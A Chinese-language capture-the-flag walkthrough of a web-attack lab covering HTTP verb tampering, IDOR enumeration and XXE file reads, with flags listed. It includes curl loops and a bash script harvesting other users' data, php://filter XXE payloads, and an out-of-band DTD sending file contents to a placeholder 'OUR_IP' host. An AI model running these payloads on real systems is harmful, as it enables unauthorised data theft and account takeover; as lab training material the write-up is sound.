nextcyber——web攻击

web攻击

HTTP方法篡改

绕过基本身份验证

确认服务器是否接受 HEAD 请求,可以先发送一个 OPTIONS 请求来探测服务器支持的 HTTP 方法:

┌──(kali㉿kali)-[~]
└─$ curl -i -X OPTIONS http://10.22.119.82/                                      
HTTP/1.1 200 OK
Date: Mon, 25 Aug 2025 12:39:00 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.1.32
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

OPTIONS 方法返回 200 OK,说明服务器支持多种 HTTP 方法

尝试再次拦截 reset 请求,这次改用 DELETE 方法,成功:

:在这里插入图片描述

试着用你在本节中所学到的知识进入’reset.php’页面并删除所有文件。一旦所有的文件都被删除,你就能得到flag

NC{4lw4y5_c0v3r_4ll_v3rb5}

绕过安全过滤器

先用Burp Suite拦截请求,然后通过Change Request Method功能切换请求方法:

在这里插入图片描述

尝试通过HTTP Verb Tampering绕过命令注入过滤器,并获取到/flag.txt

NC{b3_v3rb_c0n51573n7}

IDOR漏洞

大规模 IDOR 枚举

发现文档目录

在这里插入图片描述

访问文档目录,得到flag

在这里插入图片描述

根据本节所学,在/documents.php中获得前20个用户uid的文件列表,并获取’flag_xxx.txt’文件中的flag

NC{4ll_f1l35_4r3_m1n3} 

绕过编码

点击下载,使用bp拦截

在这里插入图片描述

尝试下载前20名

for i in $(seq 1 20); do 
    b64=$(echo -n $i | base64)
    echo -e "\n[+] 正在下载合同 $i (contract=$b64)\n"
    curl -s "http://10.22.36.166/download.php?contract=$b64" \
        -H "Cookie: PHPSESSID=v7be455hvvi3hpvaqmf2kmfl6m" \
done

尝试下载前20名雇员的合同,其中一个包含flag,提交作为答案

NC{h45h1n6_1d5_w0n7_570p_m3} 

不安全的 API 中的 IDOR

直接用user5登录修改信息,然后bp拦截

在这里插入图片描述

尝试读取’uid=5’的用户的详细信息。他的’uuid’值是多少?

eb4fe264c10eb7a528b047aa983a4829

组合利用IDOR漏洞

┌──(kali㉿kali)-[~/Desktop]
└─$ vim shell.sh          
#!/usr/bin/env bash

BASE="http://10.22.153.60"
COOKIE="PHPSESSID=hfj7dbmmoopo00jbcoitdgp1ga"

for i in {1..20}; do
    resp=$(curl -s "${BASE}/profile/api.php/profile/$i" \
        -H "Cookie: $COOKIE" \
        -H "Accept: */*" \
        -H "Referer: ${BASE}/profile.php" \
        -H "Origin: $BASE" \
        -H "User-Agent: Mozilla/5.0")

    # 判断成功返回并打印用户信息
    echo "$resp" | grep -q '"success":true' || continue
    uid=$(echo "$resp" | grep -Po '"uid":"\K[^"]+')
    user=$(echo "$resp" | grep -Po '"username":"\K[^"]+')
    email=$(echo "$resp" | grep -Po '"email":"\K[^"]+')
    role=$(echo "$resp" | grep -Po '"role":"\K[^"]+')

    # 标记 admin
    if [[ "$role" =~ admin|Admin ]]; then
        echo "[HIGH] id=$uid user=$user email=$email role=$role"
    else
        echo "       id=$uid user=$user email=$email role=$role"
    fi
done

┌──(kali㉿kali)-[~/Desktop]
└─$ ./shell.sh

发现user10为管理员,执行 GET 请求查看用户详情,获取uuid,然后使用put将把管理员的电子邮件改为 “flag@idor.NC

在这里插入图片描述
在这里插入图片描述

刷新用户页面,得到flag

在这里插入图片描述

试着把管理员的电子邮件改为 “flag@idor.NC”,修改成功之后,你可以在 "编辑资料 "页面上得到这个标志。

NC{1_4m_4n_1d0r_m4573r}

XXE漏洞

本地文件读取

用Burp拦截HTTP请求,会得到以下请求内容

<!DOCTYPE test [

  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=connection.php">

]>

在这里插入图片描述

尝试读取’connection.php’文件的内容,并提交’api_key’的值作为答案。

UTM1NjM0MmRzJ2dmcTIzND0wMXJnZXdmc2RmCg

高级文件读取技术

尝试本节所说的方法没有回显,尝试上一节方法成功

在这里插入图片描述

尝试本章节的其他方法,读取’connection.php’文件的内容,并提交’api_key’的值作为答案。

UTM1NjM0MmRzJ2dmcTIzND0wMXJnZXdmc2RmCg

无回显数据读取

带外数据读取:

┌──(kali㉿kali)-[~]
└─$ vim xxe.dtd                                                                                                                                                             
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/327a6c4304ad5938eaf0efb6cc3e53dc.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

编写一个简单的PHP脚本来自动检测编码后的文件内容、解码并输出到终端:

┌──(kali㉿kali)-[~]
└─$ vim index.php
                                                                                                          
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

┌──(kali㉿kali)-[~]
└─$ php -S 0.0.0.0:8000   
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47070 Accepted
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47070 [200]: GET /xxe.dtd
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47070 Closing
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47072 Accepted
[Mon Aug 25 20:20:27 2025] 

NC{1_d0n7_n33d_0u7pu7_70_3xf1l7r473_d474}

需添加 &content;引用我们的实体,使其向我们的机器发送包含文件内容的请求:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

在这里插入图片描述

自动化 OOB 数据读取

┌──(kali㉿kali)-[~/XXEinjector-master]
└─$ ruby XXEinjector.rb --host=10.132.0.193 --httpport=8000 --file=xxe.req --path=/var/www/html/327a6c4304ad5938eaf0efb6cc3e53dc.php --oob=http --phpfilter
┌──(kali㉿kali)-[~/XXEinjector-master]
└─$ cat ./Logs/10.22.160.215/var/www/html/327a6c4304ad5938eaf0efb6cc3e53dc.php.log           
NC{1_d0n7_n33d_0u7pu7_70_3xf1l7r473_d474}

在’/blind.html’页面上使用xxe盲注,读取web目录下的’327a6c4304ad5938eaf0efb6cc3e53dc.php’的内容并获得flag

NC{1_d0n7_n33d_0u7pu7_70_3xf1l7r473_d474}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值